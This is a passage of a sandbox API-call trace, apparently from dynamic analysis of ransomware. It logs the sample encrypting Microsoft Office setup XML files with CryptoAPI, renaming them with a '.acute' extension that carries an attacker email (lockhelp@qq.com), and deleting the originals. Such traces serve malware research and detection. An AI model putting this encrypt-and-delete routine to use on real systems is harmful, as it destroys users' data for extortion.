dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593260) returned 1 [0053.407] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.407] ReadFile (in: hFile=0x194, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x750, lpOverlapped=0x0) returned 1 [0053.416] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x760, dwBufLen=0x760 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x760) returned 1 [0053.416] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x760, lpOverlapped=0x0) returned 1 [0053.417] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593320) returned 1 [0053.417] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.417] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.417] CryptDestroyKey (hKey=0x593320) returned 1 [0053.417] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.417] CryptDestroyKey (hKey=0x593260) returned 1 [0053.417] CloseHandle (hObject=0x194) returned 1 [0053.417] CloseHandle (hObject=0x174) returned 1 [0053.418] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0053.419] SetEvent (hEvent=0x14c) returned 1 [0053.419] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.426] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1457) returned 1 [0053.426] CloseHandle (hObject=0x174) returned 1 [0053.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0053.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.426] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.426] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.427] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593260) returned 1 [0053.427] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.427] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5b1, lpOverlapped=0x0) returned 1 [0053.432] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5c0) returned 1 [0053.432] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5c0, lpOverlapped=0x0) returned 1 [0053.433] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.433] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.433] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.433] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.433] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.433] CryptDestroyKey (hKey=0x593260) returned 1 [0053.433] CloseHandle (hObject=0x174) returned 1 [0053.433] CloseHandle (hObject=0x194) returned 1 [0053.434] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0053.435] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.443] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=5884) returned 1 [0053.447] CloseHandle (hObject=0x174) returned 1 [0053.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0053.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.448] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.448] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.458] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593260) returned 1 [0053.458] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.458] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x16fc, lpOverlapped=0x0) returned 1 [0053.460] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1700, dwBufLen=0x1700 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1700) returned 1 [0053.460] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x1700, lpOverlapped=0x0) returned 1 [0053.461] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.461] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.461] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.461] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.461] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.461] CryptDestroyKey (hKey=0x593260) returned 1 [0053.461] CloseHandle (hObject=0x174) returned 1 [0053.461] CloseHandle (hObject=0x178) returned 1 [0053.462] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0053.463] SetEvent (hEvent=0x14c) returned 1 [0053.463] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.463] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1450) returned 1 [0053.464] CloseHandle (hObject=0x178) returned 1 [0053.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0053.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.464] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.464] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.870] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.870] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.870] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5aa, lpOverlapped=0x0) returned 1 [0053.872] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0) returned 1 [0053.872] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5b0, lpOverlapped=0x0) returned 1 [0053.873] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0053.873] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.873] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x50, dwBufLen=0x50 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x50) returned 1 [0053.873] CryptDestroyKey (hKey=0x593260) returned 1 [0053.873] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x102, lpOverlapped=0x0) returned 1 [0053.873] CryptDestroyKey (hKey=0x593220) returned 1 [0053.873] CloseHandle (hObject=0x178) returned 1 [0053.873] CloseHandle (hObject=0x194) returned 1 [0053.874] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0053.875] SetEvent (hEvent=0x14c) returned 1 [0053.875] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.876] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=6241) returned 1 [0053.876] CloseHandle (hObject=0x194) returned 1 [0053.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0053.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.877] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.877] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.877] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.877] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.877] ReadFile (in: hFile=0x194, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x1861, lpOverlapped=0x0) returned 1 [0053.879] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1870, dwBufLen=0x1870 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1870) returned 1 [0053.879] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x1870, lpOverlapped=0x0) returned 1 [0053.880] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0053.880] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.880] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.880] CryptDestroyKey (hKey=0x593260) returned 1 [0053.880] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.880] CryptDestroyKey (hKey=0x593220) returned 1 [0053.880] CloseHandle (hObject=0x194) returned 1 [0053.880] CloseHandle (hObject=0x178) returned 1 [0053.881] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0053.882] SetEvent (hEvent=0x14c) returned 1 [0053.882] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.883] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=9503) returned 1 [0053.883] CloseHandle (hObject=0x178) returned 1 [0053.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0053.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.883] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.883] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.885] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.885] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.885] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x251f, lpOverlapped=0x0) returned 1 [0053.887] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2520, dwBufLen=0x2520 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2520) returned 1 [0053.887] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x2520, lpOverlapped=0x0) returned 1 [0053.888] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0053.888] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.888] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.888] CryptDestroyKey (hKey=0x593260) returned 1 [0053.888] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.888] CryptDestroyKey (hKey=0x593220) returned 1 [0053.888] 